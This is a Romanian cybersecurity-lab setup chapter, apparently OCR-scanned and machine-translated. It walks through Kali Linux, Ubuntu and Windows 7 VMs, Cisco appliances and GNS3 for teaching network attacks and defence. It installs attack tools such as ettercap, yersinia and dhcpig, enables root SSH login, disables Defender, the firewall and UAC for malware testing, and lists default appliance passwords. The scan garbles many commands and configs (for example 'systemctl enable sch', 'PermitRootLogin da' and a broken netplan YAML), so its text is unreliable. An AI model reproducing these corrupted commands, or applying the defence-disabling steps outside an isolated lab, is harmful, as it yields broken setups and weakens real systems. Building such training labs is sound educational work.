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Cap. 1 Lumea securitatii cibernetice

In acest capitol vom detalia modul in care a fost adaugati fiecare componenti a laboratorului, inclusiv
hardware-ul necesar si softwarc-ul instalat. In timp ce ficcare laborator utilizeaza doar unele
componente hardware gi software, explicatiile pentru configurare nu sunt pe fiecare laborator in parte,
ci pe intreaga infrastructura, explicand si de ce s-au facut unele alegeri arhitecturale.

Laboratorul a fost creat pe o masind hardware cu procesor Intel (@ 2.4 GHz, 16 GB RAM s1 100 GB
pentru stocare, care ruleazd Windows 10 Education, versiunea 1803, versiunea pe 64 de biti.

1.1 Instrumente de monitorizare a retelei

In aceastd sectiune vom descirea si instala utilitarul Wireshark [7]. Acest software ne permite si
inspectam traficul de retea atit din mediul virtual (GNS3), ¢it si din interfetele fizice. Din sectiunea
de descarcare a paginii web, selectati fisierul de instalare in functie de sistemul de operare g1 cpu si
urmati ghidul de configurare. Va rugiam sa selectafi si sa instalati software-ul Pcap impreuna cu
Wireshark. USBpcap nu este necesar pentru aceasta carte, dar va incurajam sa descoperifi singur toate
caracteristicile Wireshark.

Verificati dacd Wireshark a fost instalat corect selectand o pornire a oricirei topologii GNS3, faceti
clic dreapta pe un link si incepeti si capturati traficul. In fereastra care apare asigurati-vi 4 ati selectat

pentru a porni programul de vizualizare (Wireshark instalat pe computerul local).
6 Paceel ceplae ? x

Link typc: | Ethernct -

Fle nama: .metu-l_Ethernetﬂ_to_Ethemet\swituh-l_Ethemerc

¥ Start the capture visualization program

Fig. 1.1 GNS3 captura fereastra de trafic
Ar trebui sa apara o noua fereastra Wireshark si tot traficul ar trebui sa fie afigat. Atata timp cat
programul nu este inchis, toate datele din linkul selectat vor f1 afigate pe Wireshark. Pentru a vizualiza
orice pachet doar selectati-1 si wireshark va diseca in consecinfa.
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Fig. 1.2 Captarea traficului Wireshark

1.2 Platforma de virtualizare

Folosim Virtual Box ca platforma de virtualizare care sta la baza. Acest lueru poate fi inlocuit cu orice
alte tehnologii de virtualizare, cum ar fi VMWare Workstation / Player. Retinefi ci, in timp ce
actualizati software-ul de virtualizare, este posibil ca unele masini virtuale sa nu functioneze conform
destinatiei si ar trebui sd le reconstruiti de la zero. Dupi instalare, asigurati-va ci puteti porni

programul verificand numarul versiunii sale (accesati Ajutor->Despre Virtual Box).
S¥ Virm alRe Ak ? b

ORACLE
VM

VirtualBox

L[

Fig. 1.3 VirtualBox versiune de software

1.3 Masini virtuale pentru securitate cibernetica

1.3.1 Kali Linux

Una dintre masinile virtuale pe care se bazeaza aceastd carte este Kali Linux Light 64 Bit. Puteti
descarca cea mai recentd versiune de pe site-ul oficial [1]. Am ales aceasta versiune (Lumind) pentru
a face imaginea cat mai mica posibil, astfel resurscle necesare cat mai mici posibil.

Acum va ardtdm cum si creafi o magind virtualda Kali. V& rugdm sa retineti ¢ imaginea Kali se
bazeaza pe sistemul de operare Debian 3] s1 am descarcat versiunca pe 64 de biti. Avem nevoie
pentru a crea Virtual Box Virtual Machine pentru Kali. Din meniul VirtualBox, selectati Figier si nou
s1 introduceli specificatiile corespunzatoare in caseta de selectare a sistemului de operare.
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Fig. 1.4 Selectati specificatiile corespunzitoare ale sistemului de operare pentru Kali VM

Vi recomandam o utilizare de 1 GB RAM, 1vCPU s1 40 GB spatiu de stocare pentru aceasta, cu toate
acestea, acest lucru depinde de infrastructura dvs. Retinefi ¢ un hard disk de dimensiune fixd a VM
ar putea utiliza resursele care nu sunt de fapt necesare, prin urmare, selectati optiunea alocat dinamic
atunci cand alegeti tipul de hard disk. Dupié ce masina virtuala este creatd, puteti elimina componenta
"Audio" facand clic pe Audio si apoi dezactivand aceasta optiune.

Pentru a instala software-ul Kali, trebuie mai intai si addugati CD-ul de imagine descareat anterior la
configuratia sa. Pentru a face acest lucru, selectati Stocare, Controler IDE si apoi faceti clic pe
pictograma CD pentru a alege un fisier de disc optic virtual. Dupa ce fisierul selectat a fost specificat,
ar trebu sa 1l putett vizualiza in fila Informatii.
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Fig. 1.5 Selectarea unui fisier de disc optic virtual
Porniti magina virtuala si continuati instalarea. De asemenea, retineti ¢i acest lucru poate dura citeva
minute, in functie de configuratia hardware.

aavure

o)

Fl=e  Machine View Inp Devices  Help

= et e T Je BT
Fig. 1.6 Instalarea software-ului Kali

Este foarte important sa utilizati setarile in functie de locatia dvs., deoarece acest lucru ar putea
accelera descarcarea software-ului mai tarziu de-a lungul procesului. Asigurati-va ca avefi acces la
Internet, adica setirile de refea VirtualBox sunt configurate la NAT s1 mterfata de refea virtuala este
conectatd s1 cd utilizati o oglinda de retea pentru descarciri de software.
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Utilizati o parold a vointei dvs., pentru restul acestei carti vom folosi "student" ca parold pentru
masina virtuald Kali. Dacad suntett un utilizator cu experientd, puteti partitiona hard diskul in moduri
diferite, cu toate acestea va recomandam sa utilizati un mecanism de partitie ghidat, cu toate figierele
dintr-o singura partifie s1 o singurd partitie pentru intregul disc. Ne asumam aceastd selectie pentru
restul cartii.

Dupa finalizarea instalarii, vom dezactiva serverul X (interfata grafica) gi 11 vom permite lui Kali si
porneasca direct in modul consola. Pentru a face acest lucru, emiteti urméitoarea comanda din consola
terminal (selectati Application->Terminal din meniul Kali). Este posibil si fie necesard o repornire a
sistemului.

sudo systemctl set-default multi-user.target

De asemenea, va recomandam si executai un upgrade de software dupa terminarea instalarii.

sudo apt-get update

sudo apt-get upgrade

Pentru a simplifica utilizarea Linux Kali, putem activa ssh si il putem permite sa porneasca la
momentul pornirii. Mai intdi vom permite autentificarea ridacina prin addugarea urmatoarei linii (sau
schimbarea celei existente) "PermitRootLogin da" in fisierul “ete/ssh/sshd config”. Acesta este un
risc major de securitate $i nu ar trebui sa utilizati acest lucru intr-un mediu de productie. Apoi,
serviciul ssh ar trebui sa fie activat

root@kali:~# systemctl enable sch

In continuare, vom instala diferite solutii software care sunt necesare pentru laboratoarcle propuse.
Incepem cu ettercap, care este o stivi de software care permite tipuri de atac man-in-the-middle pentru
o retea locala [10]. Printre multe caracteristici ettercap disponibile, enumeram doar posibilitatea de a
decripta traficul Secure Sockets Layer (SSL), inlocuind un sir in trafic folosind expresii regulate i
capacitatea de a colecta parola de la diferite protocoale, inclusiv HTTP. Emiteti urmatoarea comanda
pentru a instala versiunea bazata pe text [11].

root@kali:~# apt-get install ettercap-text-only

Alte mstrumente, inclusiv tepdump pentru monitorizarea retelei g1 captarea traficului, python-pip
pentru gestionarea pachetelor si dhcping un instrument de atac de fortd bruta impotriva serverelor
DHCP sunt, de asemenea, necesare.

root@kali:~# apt-get install ettercap-text-only

root@kali:~# apt. instala net-tools

root@kali:~# apt-get install tecpdump

root@kali:~# apt-get install yersinia

root@kalis~% apt-get install python-pip

root@kalii~# pip install scapy ==2.3.3

root@kali:~# apt-get install dhepig

1.3.2 Ubuntu Server

Pentru a testa in mod corespunzitor diferite scenarii de securitate, vom folosi o masind virtuald
Ubuntu care va lua rolul victimei care aclioneaza atit ca server (de exemplu, e-mail, DNS), cit g1 ca
client (conexiuni web simple etc.). In acest scop, am descarcat cea mai recentd imagine a serverului
Ubuntu, adica ubuntu-18.04. 1-live-server-amd64 de la 1 august 2018, s1 am creat o masind Virtualbox
minima (512 RAM, 1 VCPU, 40GB HDD). Numele de utilizator "student" cu parola "student" au fost
create pentru aceastd masind virtuala.

Important: Dupi terminarea instalrii, asigurati-va ¢i adaptorul de retea virtuala, din setidrile masinii
virtuale, nu este atasat la niciun dispozitiv, deoarece acest lucru va refuza accesul GNS3 la
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configuratia sa. Continuati ca explicati daca GNS3 afiseaza urmatorul mesaj de eroare: "Eroare la
crearea link-ului: Atasarea 'nat’ este deja configurata pe adaptorul 0. Vi rugdm sd-1 eliminati sau sd
permitd VirtualBox VM "Ubuntu-1" pentru a utiliza orice adaptor.”

R Ubuntu [Ifurning] - Oracle VI Virtual 3ok 24 r e

Filz= Machine w Input Devices Help

Har HIF, DR A beus

e o & T 3 Right oot
Fig. 1.7 Instalarca serverului Ubuntu
Primul pas in configurarea serverului Ubuntu este actualizarea stivei sale de software.
sudo apt-get update
sudo apt-get upgrade

De asemenea, putem elimina software-ul cloud-init, decarece mediul nostru este implementat local.
sudo apt-get autoremove cloud-init

Daca doriti sa schimbati numele de gazda al masinii virtuale, cloud-init trebuie dezactivat si puteti

face acest lucru prin emiterea urmétoarei comenzi, unde "internet” este numele masini virtuale.
hostnamectl set-hostname internet

1.3.3 Internet VM

In aceastd sectiune vom instala masina virtuali utilizatd pentru a oferi conectivitate la Internet. Vi
rugdm sd retineti cd configuratia reald a masinii virtuale Internet ar putea difert de la scenariu la
scenariu si acest lucru va fi detaliat intr-un capitol separat.

Masina virtuala va fi configurata ca un server DHCP (Dynamic Host Configuration Protocol) pentru
a permite adresarea IP ugoard g1 va efectua traducerea adreselor de retea (NAT) pentru a permite
accesul la Intemet pentru gazdele virtuale din cadrul GNS3.

Scurta explicatie: Protocolul DHCP permite atribuirea automati a diferitilor parametri, dar cel mai
important al adresei IP, mistii de refea, gateway-ului implicit i serverului DNS. Protocolul se
bazeaza pe patru mesaje schimbate, clientul DHCP solicitind o adresd IP g1 serverul DHCP oferind
unul bazat pe configuratia sa [8]. Configuratia comuna se afla intr-o retea locala, unde adresa stratului
doi al unwi cadru Ethernet utilizeaza adresa de difuzare ca destinatie (FF:FF:FF:FF:FF:FF) pentru
serverul DHCP.

Scurta explicatie: Traducerea adreselor de retea (NAT) este un mecanism utilizat pentru a schimba
adresa IP a stratului tre1 intr-o altd adresd. De obicet, acest lucru se face pentru a inlocui o adresa IP
privati [9] cu una publici si pentru a permite accesul la Internet. In plus, prin utilizarea informatiilor
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din antetul stratului patru, numerele de port din Transmission Control Protocol('TCP)/User Datagram
Protocol(UDP), o adresa IP publica poate fi utilizati pentru a inlocui mai multe private.

Masina virtuala de internet se bazeaza pe Ubuntu, astfel incat sa putem clona magina virtuald existenta
dacd nu a fost configurata incd sau puteti urma acelasi proces pentru instalarea acesteia. Adresa de
control al accesului media (MAC) trebuie reinitializata pentru a evita dublurile pe acelasi segment de
retea. Am optat pentru o clond completa a masinii initiale pentru a permite migrarea ugoara mai tarziu.

Fig. 1.8 Clonarea unet magini virtuale
Masgina virtuald internet va necesita instalarea unui al doilea adaptor de retea, primul va fi utilizat
pentru conectivitatea GNS3 gi ar trebui sa fie configurat ca nefiind atagat in VirtualBox, in timp ce al
doilea va permite accesul la Internet pentru VM s1 pentru topologia GNS3. Activati adaptorul 2 din
setarile maginii virtuale si atasafi-1 la segmentul NAT din VirtualBox. O mentiune aici este ci
software-ul Virtual Box efectueaza traducerea adreselor de retea pentru conexiunea maginii virtuale
la dispozitivul fizic, Tn timp ce ubuntu care ruleaza in interiorul maginii virtuale va traduce adresele
pentru topologia GNS3 in sine. Acest proces de traducere in cascadda permite partajarea usoara a
Internetului folosind o singurd conexiune intre mai multe dispozitive virtuale care ruleaza pe aceeasi
masind fizicd.
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Fig. 1.9 Adaugarea unui al doilea adaptor de refea cu NAT activat

Pentru a instala software-ul necesar in virtual trebuie si ne asigurdm ci avem conectivitate la internet.
Mai intdi, listati interfetele disponibile care emit urmitoarele comenzi. Daci existd o singurd interfata
disponibild, schimbati configuratia maginii virtuale.
rootlé@internet:/# ip address show | grep state
[..]
2: enpls3: <BROADCAST,MULTICAST,UP,LOWER UP> mtu 1500 gdisc
fqg codel state UP group default glen 1000
2: enplsB: <BROADCAST,MULTICAST> mtu 1500 gdisc noop state DOWH
group default glen 1000
O interfatd va fi configuratd pentru a avea conectivitate la Internet, iar cealaltd ar trebui si fie
configurata cu o adresa [P statica pentru accesul GNS3. Emiteti urmétoarea comanda pentru a obtine
o adresa IP pentru interfata conectata la Internet (in cazul nostru este enp0s8).
rootl@internet:/home/student$# dheclient enp0s8
root@internet:/home/student# ip address show enpls8
3: enplsB: <BROADCAST,MULTICAST,UP,LOWER UP> mtu 1500 gdisc
fg codel state UP group default glen 1000

link{ether 98:00:272la:3%7:db brd ffgf Rt f:ff:ff

inet 10.0.3.15/24 brd 10.0.3.28h secope global enpls8

valid 1ft forever preferred 1ft farever
inet6 feB0::a00:27ff:fela:37d5/64 scope link
valid 1ft forever preferred 1ft forever

Daca o adresa IP valida a fost atribuita de VirtualBox, ar trebui sa puteti testa conexiunea la Internet.
root@internet:/home/student# ping google.com
PING google.com (216.58.209.206] h6(84) bytes of data.
4 bytes from budOZsZZ-in-f206.1lel0d.net (216.58.209.206):
lempe seg=l ttl=54 Time=EIR TS
HE
—-—— google.com ping: statistics ——-
1l packets transmitted, 1 received, 0% packet loss, time Dwms
Apoi, ar trebui sé activam redirectionarea atat a pachetelor IPv4, cat si a pachetelor IPv6 pe dispozitiv.
Pentru aceasta, trebuie sd anulati urmatoarea linie doud in fisierul “Vetc/sysctl.conf™.
net.ipv4.ip forward = 1
net.ipvé.gonf.all.forwarding =1
Ultimul pas este de a instala software-ul necesar pentru crearea unui server DHCP. Vom folosi isc-
dhep-server in acest scop.
root@internet:/home/student# sudo apt-get install isc-dhcp-gerver
Aceastd masind virtuala va oferi, de asemenea, diferite servicii in scopuri de hacking. Introducem pe
scurt instalarea acestor servicii, in timp ce configuratia lor depinde pentru fiecare laborator si vor fi
detaliate in sectiunile respective. Pentru serverul HTTP am optat pentru utilizarea software-ului
apache2, cu toate acestea, acest lucru nu va fi pornit la momentul pornirii $1 va necesita pornire
manuala pentru fiecare exercitiu.
root@internet:/home/student# apt-get install apache?
root@internet:/home/student# systemctl disable apache2
Software-ul Freeradius va fi, de asemenea, utilizat ca parte a laboratoarclor din aceasti carte, vi
rugdm sa instalati-1 alaturi.
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root@internet:/home/student$# apt-get install freeradius

1.3.4 Windows7 VM

In primul rind, asigurati-vi cd instalati o noud copie noud de Windows 7 (puteti utiliza si Windows
10, dar tutorialele din aceasta carte presupun ¢d se utilizeaza Windows 7). Va recomandam sa dati cel
putin 4 GB RAM s1 40 GB HDD pentru acest aparat virtual, impreund cu 2 vCPUs. Dupa terminarea
instaldrii, asigurati-va ca sistemul are conectivitate la Internet si se aplica toate actualizarile. Unele

reporniri ar putea fi necesare.

=/
N
Windows 7

elare installirg vandoss

il

Fig. 1.10 Instalarea Windows pe VirtualBox

Vom modifica configuratia implicita pentru a permite utilizarea acester magini virtuale pentru analiza
malware-ului. Accesati Optiunile folderului si permiteti vizualizarea figierelor ascunse, inclusiv a

celor protejate ale sistemului de operare.

Folder Options

General View  Search

Folder views
‘Y'ou can apply this view [such as Details or lcons] o
all folders of this type.

E Apply to Folders i . Reset Folders

Advanced settings:

[ &lways show menus ~
Display file icon on thumbnails
Dizplay tile size infarmation in folder tips
[] Display the full path in the title bar
Hidden files and folders
() Don't show hidden files, folders, or drives
(® Show hidden files. tolders, and drives
[T] Hide empty drives
[T] Hide extensions for known file types
[T] Hide folder merge conflicts
[] Hide pratected operating system files (Recommended)

[ Launch folder windows in & separate process ¥

Restore Defaults

x

0K  Cancel Apoply
W ? INTER (
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Fig. 1.11 Afigarea figierelor ascunse in Windows
Un lucru pe care 1l vom solieita de la aceastd magina este sd avem toate caracteristicile de protectie
activd, cum ar fi antivirusul si actualizarea automata dezactivate. Acest lucru permite un control mai
bun al viitorului software instalat gi putem folosi, de asemenea, aceasti magind pentru testarea
probelor de malware.
O modalitate de a modifica configuratia diferitd a mediului Windows este prin intermediul consolei
de politici locale de grup. Il puteti deschide utilizand comanda gpedit.msc din linia de comanda. In
tmp ce acest lucru permite o configurare mai usoard dintr-o interfatd grafica cu utilizatorul, vom
detalia in continuare modul de obfinere a aceluiasi efect de la powershell, permitind astfel
automatizarea g1 scriptarea diferitelor procese.
Configuratia de stare doritd PowerShell (DSC) este un cadru de gestionare care permite automatizarea
scriptirii powershell pentru diferite componente Windows [39]. Pentru a-1 utiliza cu politica locald
de grup, vom solicita mai intai si instalim un modul powershell numit PolicyFileEditor capabil sa
modifice configuratia de registry asociati [41]. VA rugam si emiteti urmdtoarele comenzi pentru a
permite executarea scripturilor semnate s1 instalarea modululu.
Install-Module -Name PolicyFileBEditor -RegquiredVersion 3.0.0
Set-ExecutionPolicy RemoteSigned
Pentru procesul de automatizare vom folosi Window Remote Management, un protocol simplu de
gestionare care accepta comanda atdt local, ¢it si de la distan{d, prin urmare urmitoarele configuratii
pot fi utilizate 1 prin refea, distribuite [40]. Pentru a porni serviciul local si a-l1 configura pentru
administrarea de baza, utilizati urmatoarele.
winrm guicksetup
Maparea pentru politica locala de grup s1 registry pot f1 gasite in referinta setarilor politicii de grup
pentru Windows. Utilizati aceste informatii pentru a configura registry din linia de comanda si pentru
a obtine aceleasi rezultate ca configuratia efectuata prin interfata grafica cu utilizatorul.
Utilizati seriptul furnizat in anexa unu pentru a face urmatoarea configuratie:
1. Dezactivati actualizarile automate

2. Dezactivati Paravanul de protectic Windows
3. Dezactivati Windows Defender
4. Dezactivati controlul accesului la utilizator

Dupa ce scriptul a fost rulat, nu vitafi sa fortati actualizarea politicilor locale.

gpupdate /force
Daca in timpul procesului de modificare a politicilor de grup intdlniti orice mesaje de eroare, puteti
verifica configuratia in folderele Yowindir%e\System3 2\GroupPolicy s
Yowindir%|System3 2\GroupFPolicyUsers. Figierele .pol pot fi deschise de orice editori de text. Ar
trebui sa le eliminati si sa aplicati comanda gpupdate / force.
Pentru utilizarea masinii virtuale impreund cu cadrul sandbox Cuckoo, trebuie si adiaugim si
Python2.7. Descareati cea mai recentd versiune si instalati-o.
S¢ stie cd Windows are instalate mai multe caracteristici, inclusiv unele jocuri, si este posibil sa fie
nevoie $a tiiem putin versiunea implicitd. Utilizati instrumentul de optimizare a sistemului de operare
VMware [12] pentru a dezactiva rularea serviciilor care nu sunt necesare in configurarea noastra.
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1.4 Echipamente pentru securitatea cibernetica

1.4.1 Router Cisco

GNS3 acceptd emularea diferitelor platforme hardware Cisco prin utilizarea software-ului emulator
Dynamips. Platformele hardware actuale acceptate sunt: Cisco 7200 (NPE-100 la NPE-400), Cisco
3600 (3620, 3640 s1 3660), Cisco 2691, Cisco 3723, Cisco 3743, Cisco 2600 (2610 la 2650XM) si
Cisco 1700 (1710 la 1760) [5]. In timp ce acest software este furnizat sub licentiere GPLv2, va trebui
sa contactati furnizorul local Cisco pentru a obtine software-ul cisco imagine necesare. Pentru aceasta
sectiune de carte va vom ardta cum si addugati o imagine a routerului Cisco 3640 si si o conectati la
Internet.

Inainte de a putea incepe un router Cisco, trebuie mai intdi si addugidm imaginea corecti in Dynamips.
Pentru a face acest lucru, selectati Editare->Preferinte, apoi, din meniul din stinga, selectati Routere
Dynamips->10S, apoi faceti ¢lic pe Nou. Navigati la figsierul imagine Cisco si permiteti GNS3 si
copieze figierul imagine in directorul de imagini implicit. Acest pas este optional, dar v recomandiam
sd faceti acest lucru pentru a evita stergerea eronati a fisierului imagine.

Atunci cand importati fisierul imagine Cisco, GNS3 ar trebui sé recunoascé platforma hardware si
sasiul. Daca nu, va rugam si selectati configuratia corectd din meniul vertical. Selectati Urmatorul gi
specificati cantitatea de memorie pe care doriti sd o alocati pentru router. Retineti ca se recomanda
un minim de 128 RAM, dar acest lucru ar putea fi diferit in functie de platforma hardware pe care o
utilizati.

In fereastra Adaptoare de refea. puteti selecta diferite tipuri de interfete care pot fi conectate la noul
router. Acest lucru poate f1 personalizat ulterior pentru fiecare router individual atunci cand este plasat
pe panza GNS3. O lista cuprinzatoare a modulelor de retea care sunt acceptate de routerul Cisco poate
f1 gdsitd online [6], vom introduce doar pe scurt doud dintre ele: (1) NM-1FE-TX - permite o
conexiune FastEthemnet pe cupru si (2) NM-16ESW - care ofera 16 porturi Ethernet combinate
impreuni ca un dispozitiv separat de nivel 2. Pentru moment vom umple cele patru sloturi disponibile
cu interfete FastEthernet.

Un alt parametru al configuratiei routerului Cisco este Idle-PC. Acest lucru configureaza emulatorul
hardware pentru a utiliza doar procesorul intr-un mod optimizat, permifind emulatorului sa doarma
atunci cand nu existd nicio actiune necesard pentru software-ul mvitat (imaginea Cisco In cazul
nostru). Este important sa permiteti GNS3 si calculeze aceasta valoare g1 sa monitorizeze utilizarea
procesorului atunci cand un router este pornit. Acest lucru ar trebui sd tie sub 10% (in functie de
configuratia hardware, de obicei in jur de 2-5%) atunci cand este pornit un singur router Cisco.
Dupa ce imaginea routerului Cisco a fost configurata, puteti face clic pe Terminare, apoi selectati Se
aplica. Pentru a verifica configuratia, faceti clic pe "Rasfoiti routerul” din meniul din stainga din GNS3

A

UMILNEA NATIONALA A ?N[

PATHONATULUT ROMAN
HEGHISEA NOHD-EST

EuroTraining Solution

Pagina nr.: 12



-

<

Instrumente Structurale
2014-2020

x
* 4 K

UNIUNEA EUROPEANA

si selectati "Aparate instalate” din meniul vertical. GNS3 ar trebui 53 listeze numai routerul Cisco nou
addugat si 1l putets trage s1 fixa pe panza. Retineti ¢d routerul nu porneste automat, trebuie sa faceti
clic dreapta si apoi sa apdsati "Start" pe dispozitivul din pdnzid. Pentru a incepe configurarea
routerului, faceti clic dreapta pe el si selectati "Consold" pentru a deschide un terminal conectat la

portul consolei ruterului. _
i C i

Fig. 1.13 Exemplu de consola de router

1.4.2 Comutator Cisco L2

Unele dintre exercifii necesitd un comutator 1.2 gestionat pentru prevenirea atacurilor de retea locald
si intelegerea diferitelor protocoale de nivel 2 si 3, cum ar £fi STP, ARP si DHCP. In acest scop, am
ales sa folosim Cisco Virtual IOS L2 (VIRL) [42].

Aparatul VIRL poate fi implementat impreuna cu alte produse Cisco, cum ar {1 un router de nmivel 3,
intr-un software independent, sau poate f1 extras s1 adaugat la software-ul GNS3. Folosim a doua
abordare, deoarece acest lucru ne va permite si o integram cu alte componente ale laboratorului. Mai
intai, creati configuratia GNS3 asigurandu-va ca software-ul QEMU este utilizat pentru a emula
hardware-ul necesar.

& GEMU VM confiouration

I0SvL2
Goneral cettings | MDD | CO/OVD | Notwork | Advancod settings
Tampals name: 1052
Defriut nome formait: | {neme}-{)
ok spymboindiony. (2 virl.oug Beowrse..,
Category: Swirhes -
RAM 517 MB 5
wiPls: 1 -
Qemu bnary: CAPrograsm Fles\GRSHgermu- 2.4 0\0emdu - sysiom-X66_sdw.oe (v2.4.0] -
Bool priorty HOE -

Console type: teinet. -

o Cancel

Fig. 1.14 Emulation software-ul necesar pentru Cisco VIRL
Alte doud setiri importante sunt cerute de acest produs, mai intai interfata Disc trebuie si fie virtio
(in testele noastre acest lucru are cele mai bune rezultate g1 face imaginea mai stabild), 1ar 4 plici de
retea de tip 1000 trebuie adaugate la aparat.
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14.3 Web Security Appliance VM

Cisco Web Security Appliance este un produs oferit de Cisco care permite atenuarea amenintarilor
care apar in urma accesarn site-urilor web rau mtentionate. Acesta poate fi achizitionat atit ca un
hardware independent cu cresterea performantei, sau ca o magind virtuald (vom folosi acest lucru
pentru laborator). Va rugam sa contactati partenerul cisco local pentru a obtine un aparat virtual,
laboratoarele se bazeazd pe cea de-a 11-a versiune [21].

In primul rand, trebuie sa importati aparatul in VirtualBox. Aparatul este configurat cu cinci link-uri,
dar VirtualBox Graphical User Interface (GUI) va afisa doar primele patru dintre ele. Editati fisierul
de configurare al computerului (cu o extensie . vbox) si asigurati-va ca toate adaptoarele au urmitoarea

configuratie de retea.
<DisabledModes>

<BridgedInterface name="Intel (R] Dual Band Wireless-AC
3160"/>
<InternalNetwork name="intnet"/>
<NATNetwork name="NatNetwork"/>
</DisabledModes>
<HestOnlyInterface name="VirtualBox Host-Only Ethernet
Adapter™/>
Acest lucru va va permite sa accesati oaspetele prin SSH de pe computer. Porniti masina si1 tastati
urmitoarele comenzi pentru a afisa adresele IP. Numele de utilizator si parolele utilizate pentru
magina noastri virtuala sunt "admin / ESAp@sswOrd".
wsa.sred> showconfig

Acum ar trebui sd vi puteti conecta la Eﬁina web WS A utilizand Eortul 3443.

Fig. 1.15 Pagina web implicita WSA

1.4.4 Firepower Threat Defense (FTDv) VM

Vi rugdm sa contactati partenerul local Cisco pentru a descarca aparatul maginii virtuale. Acest lucru
este de obicei in forma OVF g1 trebuie sd fie importate in VirtualBox. Cand importati, eliminati
adaptoarele de la patru la sapte si pastrati numai primele patru.

Primul pas este de a determina care adaptoare VirtualBox este mapat la placa de retea a aparatului.
Pentru a identifica fiecare, pornifi masina si1 cautafi adresele MAC ruland comanda “afisare retea”.
De asemenea, puteti conecta i deconecta adaptoarele de la VirtualBox si putefi cduta starea lor in
interiorul aparatului folosind “show interface ip brief”. Numele de utilizator implicit este "admin” cu
parola "Admin123". Varugam si retineti ¢d atunci cand aparatul este pornit pentru prima data, trebuie
sd acceptati licenta si sd efectuati o configuratie initiala,
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Dupa descoperirea adaptorului utilizat pentru gestionare, inchideti aparatul si schimbati tipul
adaptorului de retea din VirtualBox in "Retea paravirtualizatd" s1 permiteti modul promiscuu pentru
toti. Porniti aparatul si conectati-va la acesta utilizdnd un browser si adresa sa IP (de exemplu,
https://192.168.56.102). Dacd intampinati probleme, Tncercati si intrafi Tn modul expert g1 sd obtineti
un client IP de pe serverul DHCP (sudo dhclient brl) pentru interfata de gestionare.

1.5 Simulator de retea

Pentru a instala aplicatia GNS3, trebuie sid creati un cont gratuit si sa descércati cel mai recent
software GNS3 de pe site-ul web [4]. Numai GNS3, WinPCAP, Wireshark g1 Dynamips sunt
necesare pentru ca acest laborator si fie efectuat, cu toate acestea, puteti instala toate componentele
sale 1 de a descoperi caracteristicile lor.

€ GNS322.1.9Setup — X
Choose Components -
Choose which features of GNS3 2.1.9 you want to install, —r

Check the components you wank to install and uncheck the components you don't want to
install, Click Next to continue,

Select components to install: | ] gusa = Da_s'_:"ptm"
B3} WinPCAP 4.1.3
[¥] wireshark 2.4.6
[¥] Dynamips 0.2.17
[ QEMU 2.4.0 8:0.11.0
[lvrcso.6.1
[ Cpulimit
Space required: 135.2M8 | ) 'ONEVNC Viewer 2.7.1
< >
< Back Next > Cancel

Fig. 1.16 Instalarea GNS3

Maginile virtuale care au fost create in VirtualBox pot fi utilizate intr-o topologie GNS3. Pentru
aceasta, fiecare masina trebuie s fie importata in GNS. Selectati Editare->Preferinte, iar din panoul
din stanga selectati SMS-uri VirtualBox, apoi faceti clic pe butonul Nou. Importafi toate SMS-urile
create anterior selectandu-le si apasand butonul Terminare din noua fercastra. Dupa importul tuturor
maginilor virtuale necesare, apasati Aplicati $1 acum puteti inchide fereastra.

Atunci cand importati masina virtuala Internet, in fila Retea va rugim sa mariti numaérul de adaptoare
de la 1 1a 2, acest lucru va permite ca a doua interfata sa fie conectati la Internet.

ING,© . ¢Ts
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Fig.1.17 Importul unei masini virtuale din VirtualBox
Pentru a verifica dacid magina virtuala ati fost importata corect, selectati "Rasfoiti dispozitivele finale”
din meniul principal GNS3, apoi filtrafi numai pe baza aparatelor instalate. Glisati s1 fixati maginile
virtuale pe care dorifi si le testati pe panza, faceti clic dreapta pe pictograma lor si selectati start.
Virtual Box ar trebui sd deschidd o noud fereastra cu magina virtuald selectata care ruleaza.

B e A T E

Be OF> P> BCEmIlo aQ@®

Drler) i

Fig. 1.18 Pornirea unei magini virtuale in GNS3
Un truc care vda va permite sd va conectati prin ssh din interiorul dispozitivului fizic la maginile
virtuale, este sd addugati un adaptor de retea suplimentar care este conectat la reteaua VirtualBox
Host-Only. In acest fel, computerul va partaja o refea locala cu maginile virtuale pe care le creati.
Asigurati-va ¢ ambele au o adresd IP in acelasi interval (poate fi necesar sd emitefi un dhelient in
interiorul maginii virtuale).
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Fig.1.19 VirtualBox Host-Only Adaptor de refea

Pentru a rula switch-ul Cisco IOSvL2 va trebui s instalam g1 masina virtuald GNS3. Descércati cea
mai recentd versiune de pe site-ul GNS3, anulati-1, importati fisierul OVA in Virtual Box 1 configurati
GNS3 pentru a utiliza masina virtuala.

Py ——

T
* I0S on UNTX
10U Devices

GNS3 VM

o rms the GHECT WM
Vrvslipen o
et

i b T e ST, B o s Lo 0 cxik) 1 v S
Y i P ot i b

B e V4 b s e
e o v
s,

atarm i kg GHET:
o the GRET VM ruwing

N et T

sl the SHLI VM

[ Larest

Fig. 1.20 GNS3 Virtual Machine de configurare

1.6 Testarea conectivitatii infrastructurii

Sty

In aceasta sectiune vom arita cum si conectati gazdele GNS3 la Internet prin intermediul unui router
Cisco. Desi exista mai multe scenarii de configurare (de exemplu, conectarea directa a unei gazde la
Internet cu un adaptor nou. folosind un cloud NAT Tmpreuna cu solutit VMWare, bridging o interfata
folosind nodul Cloud in GNS3), am ales o magind virtuald dedicata ca gateway pentru a permite
separarea usoard intre internet si gazdele locale, permitind astfel reutilizarea in diferite scenarii.

Glisai si fixati dispozitivele corespunzitoare din panoul din stinga GNS3 si creafi urmitoarea
topologie. Numele interfetelor de retea pot diferi in topologia dvs., va rugam sa ajustati configuratia

in consecinta.
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Ubuntu-1 InternetVM-1

[Eg. [pHCP dlient - . Izg.

172.21.0.1/24

Fig. 1.21 Exemplu de topologie pentru accesul la Internet
Primul pas in configuratia noastra este de a adiuga adresele IP pe masina virtuald internet. Vom arita
in continuare cum si creati configuratii persistente care sunt, de asemenea, utilizate dupé repornirea
masinii. Ubuntu 18.04 utilizeazd acum Netplan [10]. VA rugiam sa stergefi toate figierele din folderul
"/ete/netplan” inainte de a continua.
Creatt un figier numit "interfaces.yaml” s1 addugati urmatorul continut. Este important si utilizati
SPACES nu TABS pentru a alinia fiecare linie din fisier. Parametrii m , instruieste sistemate si nu
verifice starea fizicd a acestet interfete, prin urmare, ceea ce face procesul de pornire mai repede.
rootl@internet:/ete/netplan#t cat interfaces.vaml
network:
version: 2
renderer: networkd
ethernetg:
enpls3:
addresses:
& L= 0.1 /24
cpticnal: true
enplsi:
dhcpd: true
opticnal: trus
enpls9:
dhopd: true
cpticnal: true
Puteti verifica configuratia cu urmitoarele comenzi. Asigurati-va ca modificati numele interfetelor
din figterul de configurare anterior.
sudo netplan --debug apply
ip address show
